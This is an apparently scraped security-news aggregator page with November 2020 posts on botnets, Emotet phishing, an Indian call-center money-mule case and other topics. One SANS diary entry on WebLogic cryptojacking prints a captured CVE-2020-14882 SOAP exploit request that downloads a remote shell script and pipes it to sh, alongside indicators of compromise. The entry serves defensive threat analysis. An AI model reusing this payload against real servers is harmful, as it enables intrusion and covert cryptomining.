Malware Devil

Monday, November 9, 2020

Network Security News Summary for Monday November 9 2020

A brief daily summary of what is important in cybersecurity. The podcast is published every weekday and designed to get you ready for the day with a brief, usually about 5 minutes long, summary of current network security-related events. The content is late breaking, educational and based on listener input as well as on input received by the SANS Internet Storm Center. You may submit questions and comments via our contact form at https://isc.sans.edu/contact.html .

The post Network Security News Summary for Monday November 9 2020 appeared first on Malware Devil.



https://malwaredevil.com/2020/11/09/network-security-news-summary-for-monday-november-9-2020/?utm_source=rss&utm_medium=rss&utm_campaign=network-security-news-summary-for-monday-november-9-2020

Sunday, November 8, 2020

Robert M. Lee’s & Jeff Haas’ Little Bobby Comics – ‘WEEK 302’

via the respected information security capabilities of Robert M. Lee & the superlative illustration talents of Jeff Haas at Little Bobby Comics .

via the respected information security capabilities of Robert M. Lee & the superlative illustration talents of Jeff Haas at Little Bobby Comics.

Permalink

The post Robert M. Lee’s & Jeff Haas’ Little Bobby Comics – ‘WEEK 302’ appeared first on Security Boulevard.

Read More

The post Robert M. Lee’s & Jeff Haas’ Little Bobby Comics – ‘WEEK 302’ appeared first on Malware Devil.



https://malwaredevil.com/2020/11/08/robert-m-lees-jeff-haas-little-bobby-comics-week-302/?utm_source=rss&utm_medium=rss&utm_campaign=robert-m-lees-jeff-haas-little-bobby-comics-week-302

DEF CON 28 Safe Mode ICS Village – Ac0rn’s & Atlas 0f d00m’s ‘Vivisecting PowerPC’

Many thanks to DEF CON and Conference Speakers for publishing their outstanding presentations; of which, originally appeared at the organization’s DEFCON 28 SAFE MODE Conference, and on the DEF CON YouTube channel. Enjoy!

Permalink

The post DEF CON 28 Safe Mode ICS Village – Ac0rn’s & Atlas 0f d00m’s ‘Vivisecting PowerPC’ appeared first on Security Boulevard.

Read More

The post DEF CON 28 Safe Mode ICS Village – Ac0rn’s & Atlas 0f d00m’s ‘Vivisecting PowerPC’ appeared first on Malware Devil.



https://malwaredevil.com/2020/11/08/def-con-28-safe-mode-ics-village-ac0rns-atlas-0f-d00ms-vivisecting-powerpc/?utm_source=rss&utm_medium=rss&utm_campaign=def-con-28-safe-mode-ics-village-ac0rns-atlas-0f-d00ms-vivisecting-powerpc

Gitpaste-12: A dozen exploits that silently lived on GitHub, attacked Linux servers

Just months after Octopus Scanner was caught infecting 26 open-source projects on GitHub, new reports have already surfaced of another, new sophisticated malware infection. Gitpaste-12, a worming botnet, is extremely versatile in its advanced capabilities and the fact it leverages trustworthy sites like GitHub and Pastebin to host itself.

The post Gitpaste-12: A dozen exploits that silently lived on GitHub, attacked Linux servers appeared first on Security Boulevard.

Read More

The post Gitpaste-12: A dozen exploits that silently lived on GitHub, attacked Linux servers appeared first on Malware Devil.



https://malwaredevil.com/2020/11/08/gitpaste-12-a-dozen-exploits-that-silently-lived-on-github-attacked-linux-servers/?utm_source=rss&utm_medium=rss&utm_campaign=gitpaste-12-a-dozen-exploits-that-silently-lived-on-github-attacked-linux-servers

COVID-19 Turning Black Friday into ‘Cyber November’

Move over Black Friday and Cyber Monday, because our global pandemic is changing our new normal — again. In 2020, holiday shopping is more virtual than ever, with deals coming earlier in November. While experts are predicting more online shopping than ever before between now and the end of the year, at the same time,..

The post COVID-19 Turning Black Friday into ‘Cyber November’ appeared first on Security Boulevard.

Read More

The post COVID-19 Turning Black Friday into ‘Cyber November’ appeared first on Malware Devil.



https://malwaredevil.com/2020/11/08/covid-19-turning-black-friday-into-cyber-november/?utm_source=rss&utm_medium=rss&utm_campaign=covid-19-turning-black-friday-into-cyber-november

It’s [Almost] Over; Much Damage Has Been Done; But I [We] Have A Call To Unexpected Action

NOTE: There’s a unique feed URL for R/tech stuff — https://rud.is/b/category/r/feed/. If you hit the generic “subscribe” button b/c the vast majority of posts have been on that, this isn’t one of those posts and you should probably delete it and move on with more important things than the rantings of silly man with a… Continue reading

The post It’s [Almost] Over; Much Damage Has Been Done; But I [We] Have A Call To Unexpected Action appeared first on Security Boulevard.

Read More

The post It’s [Almost] Over; Much Damage Has Been Done; But I [We] Have A Call To Unexpected Action appeared first on Malware Devil.



https://malwaredevil.com/2020/11/08/its-almost-over-much-damage-has-been-done-but-i-we-have-a-call-to-unexpected-action/?utm_source=rss&utm_medium=rss&utm_campaign=its-almost-over-much-damage-has-been-done-but-i-we-have-a-call-to-unexpected-action

Saturday, November 7, 2020

Cryptojacking Targeting WebLogic TCP/7001, (Sat, Nov 7th)

This past week got some interesting logs targeting TCP/7001 (WebLogic CVE-2020-14882 – see previous diary[1][2]) looking to download and launch a shell script to install various cryptominer on the target. The shell script target SELINUX compatible hosts likely CentOS/RedHat, Ubuntu, etc to install various cryptominer applications.

If successful, the script installs a SSH authorized_key (see below) in the root account to provide access to the host after it has been compromised. If using WebLogic, the current advisory for CVE-2020-14882 is published here.

Log Example

20201106-073608: 192.168.25.9:7001-223.240.104.222:60620 data ‘POST /wls-wsat/CoordinatorPortType11 HTTP/1.1rnHost: XX.XX.122.14:7001rnUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)rnContent-Length: 611rnConnection: closernContent-Type: text/xmlrnAccept-Encoding: gziprnrn<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/”><soapenv:Header><work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/”><java version=”1.8.0_131″ class=”java.beans.XMLDecoder”><void class=”java.lang.ProcessBuilder”><array class=”java.lang.String” length=”3″><void index=”0″><string>/bin/bash</string></void><void index=”1″><string>-c</string></void><void index=”2″><string>cd1 -fsSL http://45.9.148[.]37/b2f628fff19fda999999999/init.sh |sh</string> </void> </array> <void method=”start”/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>’

Indicator of compromise

MD5
3112fb090700ed03755ffc84f552080a  init.sh
02e43830f8b1528c1aed200828f78e2d  config.json
3112fb090700ed03755ffc84f552080a  newsvc.sh
36971b02377bda17e29c75cd6194ebad  svcguard
149c79bf71a54ec41f6793819682f790  svcupdate
8ef6437f966f1cc7c78f443a17968a10  svcworkmanager

SHA256
bdd467bce95969caeb5963ba817036e0123253a992ad5a0f4815c7e980bcfb10  init.sh and newsvc.sh
29996267aba0bd7739037639b857dcefff8b5d7c79f54780e9cbf607979f7eba  config.json
e38c1f4eef131aa74fad40ea39d95ef298e39f6c6690ac6b9eac77307f535056  svcguard
e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7  svcupdate
d3466a191b5185a4007faf8949117df5c77907eea9121c7e8308f2a5a736b3fc  svcworkmanager

Initial Download
http://45.9.148[.]37/b2f628fff19fda999999999/init.sh
http://45.9.148[.]37/E5DB0E07C3D7BE80V201007/init.sh
http://global.bitmex.com[.]de/b2f627fff19fda/init.sh
http://185.181.10[.]234/E5DB0E07C3D7BE80V520/init.sh

File Download
http://103.125.218[.]107/b2f628/newsvc.sh”
http://45.9.148[.]37/b2f628fff19fda999999999/newsvc.sh”
http://103.125.218[.]107/b2f628/config.json”
http://45.9.148[.]37/b2f628fff19fda999999999/config.json”
http://103.125.218[.]107/b2f628/svcworkmanager”
http://45.9.148[.]37/b2f628fff19fda999999999/svcworkmanager”
http://103.125.218[.]107/b2f628/svcguard”
http://45.9.148[.]37/b2f628fff19fda999999999/svcguard”
http://update.aegis.aliyun[.]com/download/uninstall.sh
http://update.aegis.aliyun[.]com/download/quartz_uninstall.sh

Currently Unavailable
http://103.125.218[.]107/b2f628/iplog.php
http://45.9.148[.]37/b2f628fff19fda999999999/iplog.php
http://103.125.218[.]107/b2f628/iplog.php
http://45.9.148[.]37/b2f628fff19fda999999999/iplog.php

Bitcoin Mining Pool

xmr.f2pool[.]com:13531
xmr-eu2.nanopool[.]org:14444
randomxmonero.hk.nicehash[.]com:3380

User ID in config.json

“user”: “43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.vsyd”

SSH authorized_keys

“ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfg
O06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfs
xXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17″

[1] https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/
[2] https://isc.sans.edu/forums/diary/Attackers+Exploiting+WebLogic+Servers+via+CVE202014882+to+install+Cobalt+Strike/26752/
[3] https://www.virustotal.com/gui/file/bdd467bce95969caeb5963ba817036e0123253a992ad5a0f4815c7e980bcfb10/detection
[4] https://www.virustotal.com/gui/file/29996267aba0bd7739037639b857dcefff8b5d7c79f54780e9cbf607979f7eba/detection
[5] https://www.virustotal.com/gui/file/e38c1f4eef131aa74fad40ea39d95ef298e39f6c6690ac6b9eac77307f535056/detection
[6] https://www.virustotal.com/gui/file/e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7/detection
[7] https://www.virustotal.com/gui/file/d3466a191b5185a4007faf8949117df5c77907eea9121c7e8308f2a5a736b3fc/detection
[8] https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Coinminer.Linux.MALXMR.UWEJJ
[9] https://www.oracle.com/security-alerts/alert-cve-2020-14750.html#AppendixFMWl

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License. Read More

The post Cryptojacking Targeting WebLogic TCP/7001, (Sat, Nov 7th) appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/cryptojacking-targeting-weblogic-tcp-7001-sat-nov-7th/?utm_source=rss&utm_medium=rss&utm_campaign=cryptojacking-targeting-weblogic-tcp-7001-sat-nov-7th

AI and ML Leads the Trend in Technologies that will Fill the Cybersecurity Skills Gaps

As the shortage of skilled cybersecurity professionals intersects with the change and sophistication of the threat landscape, AI and ML will be leveraged to fill the gaps, according to a new Osterman survey and report. The Osterman report looked at security solutions that offer advanced technology that could be leveraged to replace manual efforts, including […]

The post AI and ML Leads the Trend in Technologies that will Fill the Cybersecurity Skills Gaps first appeared on SlashNext.

The post AI and ML Leads the Trend in Technologies that will Fill the Cybersecurity Skills Gaps appeared first on Security Boulevard.

Read More

The post AI and ML Leads the Trend in Technologies that will Fill the Cybersecurity Skills Gaps appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/ai-and-ml-leads-the-trend-in-technologies-that-will-fill-the-cybersecurity-skills-gaps/?utm_source=rss&utm_medium=rss&utm_campaign=ai-and-ml-leads-the-trend-in-technologies-that-will-fill-the-cybersecurity-skills-gaps

DEF CON 28 Safe Mode ICS Village – Chris Kubecka’s ‘Operationalizing Cyber Norms’

Many thanks to DEF CON and Conference Speakers for publishing their outstanding presentations; of which, originally appeared at the organization’s DEFCON 28 SAFE MODE Conference, and on the DEF CON YouTube channel. Enjoy!

Permalink

The post DEF CON 28 Safe Mode ICS Village – Chris Kubecka’s ‘Operationalizing Cyber Norms’ appeared first on Security Boulevard.

Read More

The post DEF CON 28 Safe Mode ICS Village – Chris Kubecka’s ‘Operationalizing Cyber Norms’ appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/def-con-28-safe-mode-ics-village-chris-kubeckas-operationalizing-cyber-norms/?utm_source=rss&utm_medium=rss&utm_campaign=def-con-28-safe-mode-ics-village-chris-kubeckas-operationalizing-cyber-norms

Boling Point

via the carzy gang at CimmitS

via the carzy gang at CimmitS

Permalink

The post Boling Point appeared first on Security Boulevard.

Read More

The post Boling Point appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/boling-point/?utm_source=rss&utm_medium=rss&utm_campaign=boling-point

DEF CON 28 Safe Mode ICS Village – Demirel Temel’s ‘Playing With Electricity’

Many thanks to DEF CON and Conference Speakers for publishing their outstanding presentations; of which, originally appeared at the organization’s DEFCON 28 SAFE MODE Conference, and on the DEF CON YouTube channel. Enjoy!

Permalink

The post DEF CON 28 Safe Mode ICS Village – Demirel Temel’s ‘Playing With Electricity’ appeared first on Security Boulevard.

Read More

The post DEF CON 28 Safe Mode ICS Village – Demirel Temel’s ‘Playing With Electricity’ appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/def-con-28-safe-mode-ics-village-demirel-temels-playing-with-electricity/?utm_source=rss&utm_medium=rss&utm_campaign=def-con-28-safe-mode-ics-village-demirel-temels-playing-with-electricity

US Victims of Indian Call Center Scams Send Cash to Money Mules Across the Country

 On November 6, 2020, the US Attorney in the Eastern District of Virginia announced the sentence for a husband and wife, Chirag Choksi and Shachi Majmudar, both 36 years old.  This pair had involved themselves in the money laundering side of an international scam ring that preys on the elderly via call centers located in India.  Chirag will serve 78 months in prison while his wife Shachi will serve 14 months in prison.  

I’ve had the pleasure of presenting my research on Indian Call Centers at a meeting the Federal Trade Commission hosted in Washington DC last year.  The scope of these networks and the absolute impunity with which they operate should be a cause of national shame in India.  In 2019, according to the Consumer Sentinel Network Data Book 2019, assembled by the Federal Trade Commission, reported 647,472 “Imposter Scams” with total losses of $667 Million, primarily to the elders who are most deserving of our protection.  (These scams are increasing rapidly.  In 2017 there were 461,476 Imposter Scam complaints, in 2018 there 549,732 complaints.)

The Scam: Law Enforcement Impersonation

Indian Call Centers placed “robocalls” blasting them primarily to seniors in the United States which played a recorded message indicating that the recipient had been charged with a crime and needed to immediately call a certain number to avoid arrest.  When the number was called, the US-based number was routed via a Voice Over IP (VOIP) gateway to call center workers in India who would fraudulently identify themselves as a law enforcement officer and threaten immediate arrest if the caller did not follow their directions.  The caller was instructed to go to their bank, withdraw as much cash as the fake law enforcement officer was able to determine they could get, and then send the money by Federal Express, UPS, or the US Postal Service to a US-based address.

The Money Mules: Choksi and Shachi

There were actually three defendants in this indictment, but they are only a tiny part of the overall scam.  Chirag Janakbhai Choksi and Shachi Naishadh Mamjudar worked for a money mule recruiter, Shehzadkhan Khandakhan Pathan.  Pathan ran mules that he had recruited in many locations, including at least New Jersey, Minnesota, California, Indiana, Texas, and Illinois, although not all have been identified and charged yet.  The criminal complaint against Pathan remains sealed, which makes it likely more charges are forthcoming.  In each location, money mules of Indian origin were waiting to pick up packages of cash.  Chirag and Shachi were the Minnesota Money Mules.
The Money Mules would pick up the bulk cash shipments from their destinations, presenting counterfeit identification documents that used fictitious names in order to hide their identity.  In order to keep their lucrative position in the mule network, mules were required to quickly respond to pick-up orders.  They were also required to video themselves opening the package and counting the cash to ensure that they weren’t skimming more of the money than they were allowed.  
Shachi was primarily the assistant, which is why she got a lesser sentence.  She would log in to FedEx or USPS to track the delivery of the packages, so that Chirag would know when he was clear to do a pick-up run.  She would also videotape Chirag as he opened the packages and counted the money.  She would also frequently be the person who went to the bank to deposit the cash into accounts belonging to other members of the conspiracy.
9594 Grey Widgeon Place, Eden Prairie, MN

In one example from the indictment, Chirag was instructed to go to 9594 Grey Widgeon Place in Eden Prairie, Minnesota to retrieve a package containing $8,500 in cash that had been sent to “Aldo Ronald.”  The FedEx tracking number confirms the package was signed for by someone at that address, and that the package was shipped from Chesterfield, Virginia, where the victim resided.

Strangley, that 1600 square foot duplex claims to have seven current residents, according to WhitePages.com, including Shachi!
According to their Facebook pages, Shachi moved to Minneapolis, Minnesota in 2013.  (The “moved” actually says 2016, but she says in her comments “I actually moved here in 2013, Facebook is just acting weird.”)  Sadly for the family, the parents who are now headed to prison, posted photos of their newborn baby in January 2019. 

The Mule Recruiter: Shehzadkan Pathan

The co-conspirator, Shehzadkhan Khandakhan Pathan, goes by the name Shehzad Khan on Facebook and, like his Facebook friend Chirag, is from Ahmedabad, India. He was arrested by the FBI in Houston, Texas on January 16, 2020 and taken into custody by the US Marshall’s Service.
Shehzadkhan Khan Pathan
This structure was VERY familiar to me, as it works in exactly the same way as the case we documented in 2016 in our blog post Major Call Center Scam Network Revealed – 56 Indicted.
In fact the similarities are extreme.  In that case, the primary call centers involved included a major group in Ahmedabad India, but had money mule “runners” all over the United States, who not only handled financial transactions, but also sought out victim candidates!  
Not only are the cases STRUCTURALLY  similar, but Pathan SEEMS to be linked to one of the key players in that network on Facebook.  Pathan’s Facebook friend “Hardik Dave” who is likely Hardik Patel, also from Ahmedabad, from the previous case.  Although Hardik’s friends marked as private, but has several interactions on his Facebook page from “Hitesh Patel” who was at the core of the 2016 case.  In that case, Ahmedabad call center companies including Call Mantra, Sharma BPO, Worldwide Solutions, and Zoriion Communications were involved in the scams.
A superseding indictment relating to Pathan was announced June 17, 2020, and names several additional co-conspirators. 
In addition to Chirag and Shachi, the new indictment includes: 
  • Pradipsinh Dharmendrasinh Parmar
  • Sumer Kantilal Patel 
  • Jayeshkumar Prabhudas Deliwala
In the new indictment we learn that the  “conspirators regularly communicated using WhatsApp Messenger.” We also learn additional details about the scam calls:
“The messages told the recipients that they had some sort of serious legal problem. Often the purported problem related to potential criminal charges for the victim, tax problems, or THE RISK OF LOSING A FEDERAL BENEFITS PROGRAM SUCH AS SOCIAL SECURITY PAYMENTS.” (emphasis added)
We also learn that a number of the victims had recently applied for a loan, making them aware that the victim now had cash available!  
Pathan, the recruiter, provided the counterfeit identity documents, including fake drivers licenses, and alerted his mule network where the package was being delivered and which identity they should use to retrieve the package.  After they had the cash, Pathan would let them know how much they could keep and give them details of what bank account they should deposit the additional funds into. In some cases the funds were sent via wire transfer, and Pathan would alert his money mules via WhatsApp where the money had been wired and which identity documents they would need to present in order to pick up the money from the bank account where they had been deposited.

More Mules: Parmar, Patel

Both Pradipsinh Dharmendrasinh Parmar and Sumer Kantilal Patel were money mules like Chirag.  They are charged with retrieving and signing for packages of cash, photographing or videoing themselves opening the packages and counting the cash, receiving and using counterfeit identification bearing their likeness but the name of another person, and picking up money transfers via Western Union, MoneyGram, and Walmart to Walmart, and resending portions of that amount to other locations. 
Pradispsinh Parmar is also Facebook friends with Pathan, and also from Ahmedabad, India.  His Facebook page says he lives in Spotswood, New Jersey.  HIS Facebook friend Sumer Patel is not friends with any of the other co-conspirators and may be a name coincidence as he seems to be in Brisbane, Australia.
Pradispsinh Parmar
Parmar, for example, picked up a package containing $20,000 cash sent to the name of “Neon Fredo” at 55 Stratford Village, Lancaster, Pennsylvania.  
Parmar also picked up a MoneyGram of $820 sent from a victim to the name of Larry A Lauzon, in North Carolina.  (Because he had the reference number, it was not necessarily picked up in that location.)
Patel similarly received Walmart-to-Walmart funds, including funds sent from Texas to “Caleb N Cranstone” in Virginia. 
Deliwala received and distributed a set of 20 counterfeit identification documents.
Charges in the case include: 
18 U.S. Code § 1341 – Mail fraud
18 U.S. Code § 1343 – Wire fraud
18 U.S. Code § 1349 – Attempt and conspiracy
18 U.S. Code § 982 – Criminal forfeiture

The post US Victims of Indian Call Center Scams Send Cash to Money Mules Across the Country appeared first on Security Boulevard.

Read More

The post US Victims of Indian Call Center Scams Send Cash to Money Mules Across the Country appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/us-victims-of-indian-call-center-scams-send-cash-to-money-mules-across-the-country/?utm_source=rss&utm_medium=rss&utm_campaign=us-victims-of-indian-call-center-scams-send-cash-to-money-mules-across-the-country

Notification To Update Microsoft Word Could Be Hidden Malware

If you’ve spent any time at all surveying the threat landscape, then you’re almost certainly familiar with the name Emotet.

As one of the largest malware botnets on the planet, it’s dangerous and then some, and its tentacles extend to every corner of the globe.

There’s nowhere on earth you can go that Emotet can’t reach.

Although Emotet doesn’t deviate from their playbook that often, recently, security researchers around the globe have observed a change. Emotet is now using a different email template. This time, it’s masquerading as Microsoft sending out an email telling you that you need to update your copy of Microsoft Word to gain access to an exciting new feature.

The email looks enough like the real thing to be convincing. There are no glaring spelling or other errors in the body of the message, and given that, a disheartening percentage of recipients are clicking on the attached document to open it.

Naturally, that’s when the trouble starts, because the document is poisoned, and if you also enable macros, you’re doomed. That’s what triggers the download and install of the malware.

Make no mistake, the initial Emotet infection usually isn’t fatal or crippling. It allows the hackers who control the botnet to send spam mail messages and install other forms of malware on your system, and that’s the real danger. Once the door has been pried open, the hackers can hit you with whatever they want, and sooner or later, they will.

All that to say, you definitely don’t want to tangle with Emotet if you can avoid it, so it pays to be aware that they’ve switched things up a bit and are now pretending to be Microsoft offering you instructions in the form of a poisoned Word document. Be mindful of that, and be aware that that’s simply not the method Microsoft uses to update their software. Don’t fall for it.

Used with permission from Article Aggregator

Read More

The post Notification To Update Microsoft Word Could Be Hidden Malware appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/notification-to-update-microsoft-word-could-be-hidden-malware/?utm_source=rss&utm_medium=rss&utm_campaign=notification-to-update-microsoft-word-could-be-hidden-malware

Why Manual Certificate Management Doesn’t Scale

Why Manual Certificate Management Doesn’t Scale

Enterprises that offer any of their services online (either to customers, or internally), have a significant stake in ensuring constant uptime for all the applications they control. Customer-facing applications are especially critical, given that security breaches or outages could result in a loss of credibility and business for the vendor. Digital certificates are a component […]

The post Why Manual Certificate Management Doesn’t Scale appeared first on AppViewX.

The post Why Manual Certificate Management Doesn’t Scale appeared first on Security Boulevard.

Read More

The post Why Manual Certificate Management Doesn’t Scale appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/why-manual-certificate-management-doesnt-scale/?utm_source=rss&utm_medium=rss&utm_campaign=why-manual-certificate-management-doesnt-scale

2020-11-06 – Possible Agent Tesla (AgentTesla)

Read More

The post 2020-11-06 – Possible Agent Tesla (AgentTesla) appeared first on Malware Devil.



https://malwaredevil.com/2020/11/07/2020-11-06-possible-agent-tesla-agenttesla/?utm_source=rss&utm_medium=rss&utm_campaign=2020-11-06-possible-agent-tesla-agenttesla

Friday, November 6, 2020

New Gitpaste-12 Botnet Exploits 12 Known Vulnerabilities

Researchers discover a new worm and botnet dubbed Gitpaste-12 for its ability to spread via GitHub and Pastebin.

The post New Gitpaste-12 Botnet Exploits 12 Known Vulnerabilities appeared first on Malware Devil.



https://malwaredevil.com/2020/11/06/new-gitpaste-12-botnet-exploits-12-known-vulnerabilities/?utm_source=rss&utm_medium=rss&utm_campaign=new-gitpaste-12-botnet-exploits-12-known-vulnerabilities

Survey Sees AI, Automation Cast Shadow Over Security Careers

survey security

A survey of 350 security professionals in the U.S., Singapore, Germany, Australia and the United Kingdom suggests younger cybersecurity professionals tend to be more conflicted about advances in artificial intelligence (AI) than their older colleagues. Conducted by the research firm Censuswide on behalf of Exabeam, a provider of a security information event management platform, the..

The post Survey Sees AI, Automation Cast Shadow Over Security Careers appeared first on Security Boulevard.

Read More

The post Survey Sees AI, Automation Cast Shadow Over Security Careers appeared first on Malware Devil.



https://malwaredevil.com/2020/11/06/survey-sees-ai-automation-cast-shadow-over-security-careers/?utm_source=rss&utm_medium=rss&utm_campaign=survey-sees-ai-automation-cast-shadow-over-security-careers

Commandant’s 245th Marine Corps Birthday Message

Permalink

The post Commandant’s 245th Marine Corps Birthday Message appeared first on Security Boulevard.

Read More

The post Commandant’s 245th Marine Corps Birthday Message appeared first on Malware Devil.



https://malwaredevil.com/2020/11/06/commandants-245th-marine-corps-birthday-message/?utm_source=rss&utm_medium=rss&utm_campaign=commandants-245th-marine-corps-birthday-message

Hearing from CISOs at Google Cloud and Beyond

Security continues to be a top concern for cloud customers, and therefore continues to be a driver of our business at Google Cloud. However, specific security priorities vary wildly by vertical, by organization size, and by many other factors.

In fact, many “CISO priorities lists” are floating out there online and many people claim to know “what CISOs want.” My analyst years taught me to be skeptical about such claims, if only because there are vast differences between CISOs of different organizations, in terms of security maturity, for example. Specifically, my interactions with CISOs showed me that while one CISO of a large enterprise is expanding his or her threat hunting team, another may be dealing with the more mundane challenge of patching Windows servers in time (BTW, CSO or CISO?).

Naturally, many of us in the Google Cloud Security business speak with customer security teams every day, and they often ask how Google performs certain security operations internally, how we think about certain problems, and how our security offerings will evolve. These conversations often involve Alphabet CISO, Royal Hansen, and we want to have these in-depth conversations as much as possible with our customers.

To make that possible, Google Cloud has created the Office of the CISO. It is made up of senior security executives with experience managing large security organizations across multiple industries. These executives serve as the trusted security and compliance advisors and advocates for customers. Additionally, they leverage their expertise to inform product security and compliance priorities in accordance with industry needs.

Interested in meeting some of these security leaders? We regularly hold Google Cloud Security Talks, and during our next set of talks, on November 18, the Office of the CISO members will participate in a panel discussion on security evolution during cloud migration. You can register for the talk here, and we look forward to having you join us.

Furthermore, Google Cloud Security is putting together hot topics for future CISO discussions. We plan to hit the range of CISO interests and operational maturity levels. Other topics the panel is considering for future events include:

  • Applying zero trust access to current and planned systems
  • Effectiveness of automation as a solution to security staffing shortages
  • Running data security programs in cloud and hybrid environments
  • Compliance challenges when operating in the cloud globally
  • Performing gap analyses to improve work from home processes

We hope to see you on the 18th to start our journey!


Hearing from CISOs at Google Cloud and Beyond was originally published in Anton on Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Hearing from CISOs at Google Cloud and Beyond appeared first on Security Boulevard.

Read More

The post Hearing from CISOs at Google Cloud and Beyond appeared first on Malware Devil.



https://malwaredevil.com/2020/11/06/hearing-from-cisos-at-google-cloud-and-beyond/?utm_source=rss&utm_medium=rss&utm_campaign=hearing-from-cisos-at-google-cloud-and-beyond

Feds Seize $1B in Bitcoin from Silk Road

The illegal marketplace was hacked prior to it’s takedown — the IRS has now tracked down those stolen funds, it said.
Read More

The post Feds Seize $1B in Bitcoin from Silk Road appeared first on Malware Devil.



https://malwaredevil.com/2020/11/06/feds-seize-1b-in-bitcoin-from-silk-road/?utm_source=rss&utm_medium=rss&utm_campaign=feds-seize-1b-in-bitcoin-from-silk-road

Barbary Pirates and Russian Cybercrime

In 1801, the United States had a small Navy. Thomas Jefferson deployed almost half that Navy—three frigates and a schooner—to the Barbary C...